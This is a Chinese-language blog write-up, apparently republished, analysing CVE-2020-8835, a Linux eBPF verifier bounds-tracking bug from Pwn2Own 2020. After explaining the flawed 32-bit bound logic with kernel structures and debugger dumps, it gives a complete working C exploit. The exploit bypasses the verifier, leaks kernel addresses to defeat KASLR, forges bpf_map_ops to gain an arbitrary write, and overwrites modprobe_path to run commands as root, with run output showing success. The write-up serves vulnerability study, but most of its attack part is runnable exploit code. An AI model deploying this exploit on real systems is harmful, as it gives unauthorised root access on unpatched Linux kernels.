CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

 

pwn2own 2020 上Manfred Paul (@_manfp) 利用了ebpf 的一个漏洞完成了ubuntu的提权,4月16号的时候zdi公开了manfp 的writeup。

这篇文章中,参考zdi上的writeup, 我会分析这个漏洞的成因,然后写一下这个洞的 exp, 纯属个人笔记,理解有误的地方欢迎指正。

 

环境搭建

文章涉及到的文件都放在了这里, 我用的是linux-5.6 版本的内核,在 ubuntu1804 下编译测试。

 

漏洞分析

这个漏洞是在commit 581738a681b6引入的, 它添加了一个函数

static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}

漏洞发生在 verifier 阶段,这个阶段会模拟运行传进来的bpf指令,bpf_reg_state 用来保存寄存器的状态信息

ptype struct bpf_reg_state
type = struct bpf_reg_state {
enum bpf_reg_type type;
union {
u16 range;
struct bpf_map *map_ptr;
u32 btf_id;
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
struct tnum var_off;
s64 smin_value;//有符号时可能的最小值
s64 smax_value;//有符号时可能的最大值
u64 umin_value;
u64 umax_value;
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
bool precise;
}

smin_value 和 smax_value 保存当寄存器被当做是有符号数的时候可能的取值范围,同样umin_value 和umax_value 表示的是无符号的时候。 var_of 是struct tnum 类型

ptype struct tnum
type = struct tnum {
u64 value;
u64 mask;
}

它只有两个成员

value: 某个bit为1 表示这个寄存器的这个bit 确定是1

mask: 某个bit 为1表示这个 bit 是未知的

举个栗子,假如value 是 010(二进制表示) , mask 是100 , 那么就是经过前面的指令的模拟执行之后,可以确定这个寄存器的 第二个bit 一定是 1, 第三个 bit 在mask 里面设置了,表示这里不确定,可以是1或者是0。详细的文档可以在Documentnetworking/filter.txt 里面找到。

对于跳转指令, 假如当前遇到了下面这样一条指令,

BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)

会有下面这样两行代码来更新状态,false_reg 和true_reg 分别代表两个分支的状态, 这是我们前面__reg_bound_offset32 的64位版本

    __reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);

这条指令 r5 >= 8 的时候 , 会跳到pc+3 的地方执行(正确分支), 那么在错误的分支上,r5 肯定是 小于 8 了,

__reg_bound_offset32 会在使用BPF_JMP32 的时候调用,ebpf 的BPF_JMP 寄存器之间是64bit比较的,换成BPF_JMP32 的时候就只会比较低32bit. 我们看看他是怎么做的

首先是把之前状态转移的umin_value 和umax_value 只取低32bit , 创建一个新的 tnum, lo32 是取原来 var_off 的 低32bit

 struct tnum tnum_range(u64 min, u64 max)                            
{                                                                   
u64 chi = min ^ max, delta;
// 从右往左数,第一个为1的bit 是哪一位(从1开始数), 表示没有1
// 如:  fls64(0100)  ==  3
u8 bits = fls64(chi);                                          
/* special case, needed because 1ULL << 64 is undefined */      
if (bits > 63)                                                  
return tnum_unknown;                                        
/* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.           
|* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return   
|*  constant min (since min == max).                            
|*/                                                             
delta = (1ULL << bits) - 1;                                     
return TNUM(min & ~delta, delta);                               
}                                                                   
//.....    
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

对于tnum_intersect 如果ab 有某一个bit 是1, 那么代表已经确定这个bit是1了, 所以这里用| 的方式, 两者信息整合起来最后生成一个新的var_off

struct tnum tnum_intersect(struct tnum a, struct tnum b)     
{                                                            
u64 v, mu;                                               
v = a.value | b.value;                                   
mu = a.mask & b.mask;                                    
return TNUM(v & ~mu, mu);                                
}                                                            
//...
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));

漏洞发生的原因是这里的实现方式有问题,计算range 的时候直接取低32bit,因为原本的umin_value 和 umax_value 都是64bit的, 假如计算之前umin_value == 1 , umax_value == 1 0000 0001 , 取低32bit之后他们都会等于1,这样range计算完之后TNUM(min & ~delta, delta); , min = 1 , delta = 0

然后到tnum_intersect 函数, 假设a.value = 0 ,计算后的v == 1 ,mu ==0 , 最后得到的 var_off 就是固定值1, 也就是说,不管寄存器真实的值是怎么样,在verifier 过程都会它当做是1。

调试分析

我们调试看看内存具体是怎么样的, 首先我们创建一个array map, ebpf指令中, 让r9 = map[1]r6 是我们要用来测试漏洞的寄存器,从map[1] 中加载值到r6 中(具体参考后面的exp), 这样 verifier 就不知道 r6 是什么,这时候的var_off->value = 0

BPF_LDX_MEM(BPF_DW,6,9,0),

因为我的调试环境没有办法运行bpftool, 首先在kernel/bpf/syscall.c:125 map_create 的时候获取一下 map 的地址值

static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)        
{                                                                      
//....                                    
map = ops->map_alloc(attr);  //<====                                      
if (IS_ERR(map))     // 125                                              
return map;                                                    
//...                                           
return map;                                                        
}

接下来是下面的指令, 在pc+1 的地方 umin_value 变成1

BPF_JMP_IMM(BPF_JGE,6,1,1), 
BPF_EXIT_INSN(),

然后是下面的指令, 这个时候 r8 = 0x100000001 , BPF_JLE 的 pc+1 分支上, umax_value = 0x100000001 `

BPF_MOV64_IMM(8,0x1),                  
BPF_ALU64_IMM(BPF_LSH,8,32),           
BPF_ALU64_IMM(BPF_ADD,8,1),            
/*BPF_JLE  tnum  umax 0x100000001*/ 
BPF_JMP_REG(BPF_JLE,6,8,1),            
BPF_EXIT_INSN(),

然后时候 jmp32 来触发漏洞了

BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),

在·__reg_bound_offset32 下个断点,我这里是在kernel/bpf/verifier.c:1038false_reg 函数执行前后值如下

 var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
//--- 执行后
var_off = {
value = 0x5,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,

true_reg 在函数执行前后的值如下

var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 执行后
var_off = {
value = 0x1,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,

因为r6 是从 map[0] load 进来的,实际运行的时候可以是任何值,这里的判断错误了,后面我们就可以用它来绕过一些检查,我们来看看具体怎么样利用。

 

漏洞利用

地址泄露

在前面的指令执行完之后, 执行下面指令,我们让一开始r6 = 2 , 这样 verifier 过程到了这里,r6 会被认为是 1,

( 1&2 )>>1 == 0, 但是实际运行的时候 (2 & 2) >> 1 ==1,

BPF_ALU64_IMM(BPF_AND, 6, 2),   
BPF_ALU64_IMM(BPF_RSH, 6, 1),

接下来我们让r6 = r6 * 0x110 , 这样 verifier 过程仍然认为它是0,但是运行过程的实际值确实 0x110

BPF_ALU64_IMM(BPF_MUL,6,0x110),

我们获取一个map,我们叫它expmap 把, r7 = expmap[0]

BPF_MOV64_REG(7,0),

然后 r7 = r7 - r6, 因为 r7 是指针类型, verifier 会根据map的 size 来检查边界,但是verifier 的时候认为r6 ==0 ,r7 - 0 == r7, 所以可以通过检查, 但是运行的时候 我们可以让r7 = r7 - 0x110, 然后在 BPF_LDX_MEM(BPF_DW,8,7,0), 就可以做越界读写了。

BPF_ALU64_REG(BPF_SUB,7,6)

ebpf 用bpf_map 来保存map 的信息, 也是我们前面map_create 的时候得到的那个地址

gef➤  kstruct bpf_map
ptype struct bpf_map
type = struct bpf_map {
const struct bpf_map_ops *ops;
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}

在 map_lookup_elem 的时候, 使用的是 bpf_array ,它的开头是bpf_map, 然后value 就是map 的每一个项的数组,也就是说 bpf_map 刚好在r7 的低地址处(r7 是第一个 value), 这里查看内存可以知道 map 在 r7 - 0x110 的地方

ptype struct bpf_array
type = struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[];//<--- elem
void *ptrs[];
void *pptrs[];
};
}

于是我们就可以读写 bpf_map 来做后续的利用

首先是地址泄露, bpf_map 有一个const struct bpf_map_ops *ops; 字段,当我们创建的map是BPF_MAP_TYPE_ARRAY 的时候保存的是array_map_opsarray_map_ops 是一个全局变量,保存在rdata段,通过它我们就可以计算kaslr的偏移,绕过kaslr, 同时运行的时候可以在下面wait_list 处泄露出map 的地址

gef➤  p/a *(struct bpf_array *)0xffff88800d878000              
$5 = {  
map = {          
ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露内核地址
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800e93f0f8,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>, 
max_entries = 0x1 <fixed_percpu_data+1>,
//...    
usercnt = {    
//..
wait_list = {
next = 0xffff88800d8780c0,//<-- 泄露 map 地址
prev = 0xffff88800d8780c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff88800d878110,//<-- r7
ptrs = 0xffff88800d878110,
pptrs = 0xffff88800d878110
}
}

任意内存写

我们可以用r7 写入 ops = 0xffffffff82016340 <array_map_ops>, 改成我们自己的fake_ops, 因为前面我们已经泄露出map 的地址了,那么完全可以用map_update_elem 伪造一个ops, 然后改一下指针就可以劫持控制流了,zdi上的writeup 用了一个更好的办法。

gef➤  p/a *(struct bpf_map_ops *)0xffffffff82016340
$11 = {
map_alloc_check = 0xffffffff8116ec70 <array_map_alloc_check>,
map_alloc = 0xffffffff8116fa00 <array_map_alloc>,
map_release = 0x0 <fixed_percpu_data>,
map_free = 0xffffffff8116f2d0 <array_map_free>,
map_get_next_key = 0xffffffff8116ed50 <array_map_get_next_key>,
map_release_uref = 0x0 <fixed_percpu_data>,
map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>,
map_lookup_batch = 0xffffffff81159b30 <generic_map_lookup_batch>,
map_lookup_and_delete_batch = 0x0 <fixed_percpu_data>,
map_update_batch = 0xffffffff81159930 <generic_map_update_batch>,
map_delete_batch = 0x0 <fixed_percpu_data>,
map_lookup_elem = 0xffffffff8116edd0 <array_map_lookup_elem>,
map_update_elem = 0xffffffff8116f1c0 <array_map_update_elem>,
map_delete_elem = 0xffffffff8116ed80 <array_map_delete_elem>,
map_push_elem = 0x0 <fixed_percpu_data>,
map_pop_elem = 0x0 <fixed_percpu_data>,
map_peek_elem = 0x0 <fixed_percpu_data>,
map_fd_get_ptr = 0x0 <fixed_percpu_data>,
map_fd_put_ptr = 0x0 <fixed_percpu_data>,
map_gen_lookup = 0xffffffff8116f050 <array_map_gen_lookup>,
map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>,
map_seq_show_elem = 0xffffffff8116ee80 <array_map_seq_show_elem>,
map_check_btf = 0xffffffff8116f870 <array_map_check_btf>,
map_poke_track = 0x0 <fixed_percpu_data>,
map_poke_untrack = 0x0 <fixed_percpu_data>,
map_poke_run = 0x0 <fixed_percpu_data>,
map_direct_value_addr = 0xffffffff8116ece0 <array_map_direct_value_addr>,
map_direct_value_meta = 0xffffffff8116ed10 <array_map_direct_value_meta>,
map_mmap = 0xffffffff8116ee50 <array_map_mmap>
}

map_push_elem 会在 map_update_elem 的时候被调用, 它需要map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK, 但是没有关系, map 上的任何内容都可以用 r7 来改,把map_type 改成BPF_MAP_TYPE_STACK (0x17)之后,每次调用map_update_elem时, 就会调用map_push_elem

 static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,  
void *value, __u64 flags)                                     
{                                                                             
//...                    
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||     
¦  map->map_type == BPF_MAP_TYPE_STACK) {         
err = map->ops->map_push_elem(map, value, flags); 
//..

在 fake_ops 上, 我们把map_push_elem 改成map_get_next_key 一样的地址, 这里实际的map_get_next_key是函数array_map_get_next_key

uint64_t fake_map_ops[]={
kaslr +0xffffffff8116ec70,                 
kaslr +0xffffffff8116fa00,                 
0x0,                                       
kaslr +0xffffffff8116f2d0,                 
kaslr +0xffffffff8116ed50,// 5: map_get_next_key  
0x0,                                       
//...                
kaslr +0xffffffff8116ed80,                 
kaslr +0xffffffff8116ed50,//15: map_push_elem 
0x0,                                       
0x0,                                       
//...                
}

array_map_get_next_key 实现在kernel/bpf/arraymap.c#L279 上, 传递给map_push_elem 的参数是value(ring3 要update的数据)和 uattr 的 flags, 分别对应array_map_get_next_key 的 key 和 next_key 参数

static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)   
{                                                                                   
struct bpf_array *array = container_of(map, struct bpf_array, map);             
u32 index = key ? *(u32 *)key : U32_MAX;                                        
u32 *next = (u32 *)next_key;                                                    
if (index >= array->map.max_entries) {    //index                                      
*next = 0;                                                                  
return 0;                                                                   
}                                                                               
if (index == array->map.max_entries - 1)                                        
return -ENOENT;                                                             
*next = index + 1;                                                              
return 0;                                                                       
}

加入我们运行 map_update_elem(mapfd, &key, &value, flags), 运行到 array_map_get_next_key 之后有

index == value[0]next = flags , 最终效果是 *flags = value[0]

value[0] 和 flags 都是 ring3 下传入的值,前面我们已经泄露了内核地址,于是就可以通过修改 flags 的值写任意内存啦。写入的index要满足(index >= array->map.max_entries)map_entries 可以用r7 改成0xffff ffff

这里index 和 next 都是 u32 类型, 所以就是任意地址写 4个byte.

具体的操作是

  • 1 写 r7 改写 ops 到 fake_ops ( map_push_elem 改成array_map_get_next_key 地址)
  • 2 修改 map 的一些字段绕过一些检查
    • spin_lock_off = 0
    • max_entries = 0xffff ffff
    • map_type = BPF_MAP_TYPE_STACK
  • 3 调用 map_update_elem 写内存

改modprobe_path 用root任意命令

可以任意地址写这个能力还是挺大的了,zdi 的writeup 上是通过搜索 init_pid_ns, 找到当前的task_struct, 然后写 cred 来获取一个 root shell。

既然已经可以任意地址写了,这里我的做法是改写modprobe_path , 然后就可以用root 权限执行任意指令了,虽然不能起root shell, 但是也是可以达到提权目的了(主要是懒 😛 )

/tmp 目录下生成 /tmp/chmod 和 /tmp/fake , /tmp/chmod 可以改 /flag 文件的权限

void gen_fake_elf(){                                                       
system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");   
system("chmod +x /tmp/chmod");                                         
system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");                 
system("chmod +x /tmp/fake");                                          
}

然后把modprobe_path 改成 /tmp/chmod, 然后运行 /tmp/fake 就完事啦

 expbuf64[0] = 0x706d742f -1;                              
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);      
expbuf64[0] = 0x6d68632f -1;                              
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);    
expbuf64[0] = 0x646f -1;                                  
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);

 

exp

完整exp 如下,这里需要有两个头文件,bpf_insn.h 在samples/bpf/bpf_insn.h 下, 主要是生成指令的一些宏定义。

因为我本机的ubuntu 内核还不支持BPF_JMP32 所以还需要拷贝一个bpf.h ,它在include/uapi/linux/bpf.h

整理一下 bpf_insns 都做了什么, 这里我创建了两个map( ctrlmap 和 expmap, 有点乱…)

第一次 writemsg() ( ctrlmap[0] = 2; ctrlmap[1] = 0

  • r9 指向 ctrlmap[0] , load 之后 r6 ==2
  • 然后前面描述的漏洞触发过程, 最后 BPF_ALU64_IMM(BPF_MUL,6,0x110), 得到 r6 == 0x100
  • r7 指向 expmap[0], 然后 sub r6, 获取 bpf_map_ops和 map 的地址,写入到 ctrlmap[0][0x10]ctrlmap[0][0x18] 的位置
  • exp 中 map_lookup_elem 获取 泄露的地址

第二次 writemsg() ( ctrlmap[0] = 2; ctrlmap[1] = 1)

  • 把 fake_map_ops 保存到 expmap[0] 上, 修改原来的 ops 指向fake_map_ops
  • 改 spin_lock_offmax_entries ,map_type
  • map_update_elem 改 modprobe_path
#define _GNU_SOURCE
#include <stdio.h>       
#include <stdlib.h>      
#include <unistd.h>      
#include <fcntl.h>       
#include <stdint.h>      
#include <string.h>      
#include <sys/ioctl.h>   
#include <sys/syscall.h> 
#include <sys/socket.h>  
#include <errno.h>       
#include "linux/bpf.h"   
#include "bpf_insn.h"    
int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];
#define LOG_BUF_SIZE 65535
char bpf_log_buf[LOG_BUF_SIZE];
void gen_fake_elf(){
system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod"); 
system("chmod +x /tmp/chmod");
system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){         
uint64_t *buf64 =  (uint64_t *)buf;       
printf("[-x64dump-] start : n");         
for(int i=0;i<num;i++){                   
if(i%2==0 && i!=0){                   
printf("n");                     
}                                     
printf("0x%016lx ",*(buf64+i));       
}                                         
printf("n[-x64dump-] end ... n");       
}                                             
void loglx(char *tag,uint64_t num){         
printf("[lx] ");                        
printf(" %-20s ",tag);                  
printf(": %-#16lxn",num);              
}                                           
static int bpf_prog_load(enum bpf_prog_type prog_type,         
const struct bpf_insn *insns, int prog_len,  
const char *license, int kern_version);      
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,  
int max_entries);                                                 
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);
struct bpf_insn insns[]={
BPF_LD_MAP_FD(BPF_REG_1,3),
BPF_ALU64_IMM(BPF_MOV,6,0),
BPF_STX_MEM(BPF_DW,10,6,-8),
BPF_MOV64_REG(7,10),
BPF_ALU64_IMM(BPF_ADD,7,-8),
BPF_MOV64_REG(2,7),
BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE,0,0,1),
BPF_EXIT_INSN(),
// r9 = ctrlmap[0]
BPF_MOV64_REG(9,0),
//2
BPF_LDX_MEM(BPF_DW,6,9,0),
// offset
/*// BPF_JGE 看 tnum  umin 1*/
BPF_ALU64_IMM(BPF_MOV,0,0),
BPF_JMP_IMM(BPF_JGE,6,1,1),
BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1),
BPF_ALU64_IMM(BPF_LSH,8,32),
BPF_ALU64_IMM(BPF_ADD,8,1),
/*BPF_JLE 看 tnum  umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,8,1),
BPF_EXIT_INSN(),
/*//  JMP32  看 offset*/
BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_AND, 6, 2),
BPF_ALU64_IMM(BPF_RSH, 6, 1),
//r6 == offset
//r9 = inmap
/*BPF_ALU64_REG(BPF_MUL, 6, 7),*/
BPF_ALU64_IMM(BPF_MUL,6,0x110),
// outmap
BPF_LD_MAP_FD(BPF_REG_1,4),
BPF_ALU64_IMM(BPF_MOV,8,0),
BPF_STX_MEM(BPF_DW,10,8,-8),
BPF_MOV64_REG(7,10),
BPF_ALU64_IMM(BPF_ADD,7,-8),
BPF_MOV64_REG(2,7),
BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE,0,0,1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(7,0),
BPF_ALU64_REG(BPF_SUB,7,6),
BPF_LDX_MEM(BPF_DW,8,7,0),
/*// inmap[2] == map_addr*/
BPF_STX_MEM(BPF_DW,9,8,0x10),
BPF_MOV64_REG(2,8),
BPF_LDX_MEM(BPF_DW,8,7,0xc0),
BPF_STX_MEM(BPF_DW,9,8,0x18),
BPF_STX_MEM(BPF_DW,7,8,0x40),
BPF_ALU64_IMM(BPF_ADD,8,0x50),
BPF_LDX_MEM(BPF_DW,2,9,0x8),
BPF_JMP_IMM(BPF_JNE,2,1,4),
BPF_STX_MEM(BPF_DW,7,8,0), //ops
BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//map type
BPF_ST_MEM(BPF_W,7,0x24,-1),// max_entries
BPF_ST_MEM(BPF_W,7,0x2c,0x0), //lock_off
BPF_ALU64_IMM(BPF_MOV,0,0),
BPF_EXIT_INSN(),
};
void  prep(){
ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
if(ctrlmapfd<0){ __exit(strerror(errno));}
expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
if(expmapfd<0){ __exit(strerror(errno));}
printf("ctrlmapfd: %d,  expmapfd: %d n",ctrlmapfd,expmapfd);
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);  
if(progfd < 0){ __exit(strerror(errno));}
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){ 
__exit(strerror(errno));
}
}
void pwn(){
printf("pwning...n");
uint32_t key = 0x0;
char *ctrlbuf = malloc(0x100);
char *expbuf  = malloc(0x3000);
uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
uint64_t *expbuf64  = (uint64_t *)expbuf;
memset(ctrlbuf,'A',0x100);
for(int i=0;i<0x2000/8;i++){
expbuf64[i] = i+1;
}
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x0;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
// leak
memset(ctrlbuf,0,0x100);
bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
x64dump(ctrlbuf,8);
bpf_lookup_elem(expmapfd,&key,expbuf);
x64dump(expbuf,8);
uint64_t map_leak = ctrlbuf64[2];
uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
uint64_t kaslr = map_leak - 0xffffffff82016340;
uint64_t modprobe_path = 0xffffffff82446d80 + kaslr;
loglx("map_leak",map_leak);
loglx("elem_leak",elem_leak);
loglx("kaslr",kaslr);
loglx("modprobe",modprobe_path);
uint64_t fake_map_ops[]={
kaslr +0xffffffff8116ec70,
kaslr +0xffffffff8116fa00,
0x0,
kaslr +0xffffffff8116f2d0,
kaslr +0xffffffff8116ed50,//get net key 5
0x0,
0x0,
kaslr +0xffffffff81159b30,
0x0,
kaslr +0xffffffff81159930,
0x0,
kaslr +0xffffffff8116edd0,
kaslr +0xffffffff8116f1c0,
kaslr +0xffffffff8116ed80,
kaslr +0xffffffff8116ed50,//map_push_elem 15
0x0,
0x0,
0x0,
0x0,
kaslr +0xffffffff8116f050,
0x0,
kaslr +0xffffffff8116ee80,
kaslr +0xffffffff8116f870,
0x0,
0x0,
0x0,
kaslr +0xffffffff8116ece0,
kaslr +0xffffffff8116ed10,
kaslr +0xffffffff8116ee50,
};
// overwrite bpf_map_ops
memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
bpf_update_elem(expmapfd,&key,expbuf,0);
//overwrite modeprobe path
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x1;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
writemsg();
expbuf64[0] = 0x706d742f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
expbuf64[0] = 0x6d68632f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
expbuf64[0] = 0x646f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);
}
int main(int argc,char **argv){
init();
prep();
pwn();
return 0;
}
static void __exit(char *err) {              
fprintf(stderr, "error: %sn", err); 
exit(-1);                            
}                                            
static void writemsg(void) {                                     
char buffer[64];                                         
ssize_t n = write(sockets[0], buffer, sizeof(buffer));   
}                                                                
static int bpf_prog_load(enum bpf_prog_type prog_type,         
const struct bpf_insn *insns, int prog_len,  
const char *license, int kern_version){
union bpf_attr attr = {                                        
.prog_type = prog_type,                                
.insns = (uint64_t)insns,                              
.insn_cnt = prog_len / sizeof(struct bpf_insn),        
.license = (uint64_t)license,                          
.log_buf = (uint64_t)bpf_log_buf,                      
.log_size = LOG_BUF_SIZE,                              
.log_level = 1,                                        
};                                                             
attr.kern_version = kern_version;                              
bpf_log_buf[0] = 0;                                            
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));  
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,  
int max_entries){
union bpf_attr attr = {                                         
.map_type = map_type,                                   
.key_size = key_size,                                   
.value_size = value_size,                               
.max_entries = max_entries                              
};                                                              
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));  
}                                                
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
union bpf_attr attr = {                                              
.map_fd = fd,                                                
.key = (uint64_t)key,                                        
.value = (uint64_t)value,                                    
.flags = flags,                                              
};                                                                   
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));  
}
static int bpf_lookup_elem(int fd,void *key, void *value){
union bpf_attr attr = {                                              
.map_fd = fd,                                                
.key = (uint64_t)key,                                        
.value = (uint64_t)value,                                    
};                                                                   
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));  
}

运行效果

运行的效果如下,因为我用的是 改modprobe_path 的方式,可以像/tmp/chmod 写入任意命令,然后运行/tmp/fake ,就可以root权限运行/tmp/chmod

/home/pwn # ~ $ ls
~ $ cd /
/ $ ls -al flag
-rw-------    1 root     0               11 Apr 26  2019 flag
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ /exp
ctrlmapfd: 3,  expmapfd: 4
pwning...
[-x64dump-] start :
0x0000000000000002 0x0000000000000000
0xffffffff82016340 0xffff88800d8740c0
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4141414141414141
[-x64dump-] end ...
[-x64dump-] start :
0x0000000000000001 0x0000000000000002
0x0000000000000003 0x0000000000000004
0x0000000000000005 0x0000000000000006
0x0000000000000007 0x0000000000000008
[-x64dump-] end ...
[lx]  map_leak             : 0xffffffff82016340
[lx]  elem_leak            : 0xffff88800d874110
[lx]  kaslr                : 0
[lx]  modprobe             : 0xffffffff82446d80
/ $ ls /tmp
chmod  fake
/ $ cat /tmp/chmod
#!/bin/sh
/bin/chmod 777 /flag
/ $ /tmp/fake 
/tmp/fake: line 1: : not found
/ $ ls -al flag
-rwxrwxrwx    1 root     0               11 Apr 26  2019 flag
/ $ cat flag
*CTF{test}

 

小结

总的来说,这个洞就是代码写错了:D , 本来是想着既然有 jmp32 看能不能优化一下什么的,然后写了个 bug. 这个洞也没有对应的补丁,linux做了版本回退直接删除了这个commit上新添加的代码。

 

reference

https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification

本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/203416

本文来源于Lonely Blog -全球网络安全资讯平台, 转载请注明出处: https://blog.wuhao13.xin/172.html

标签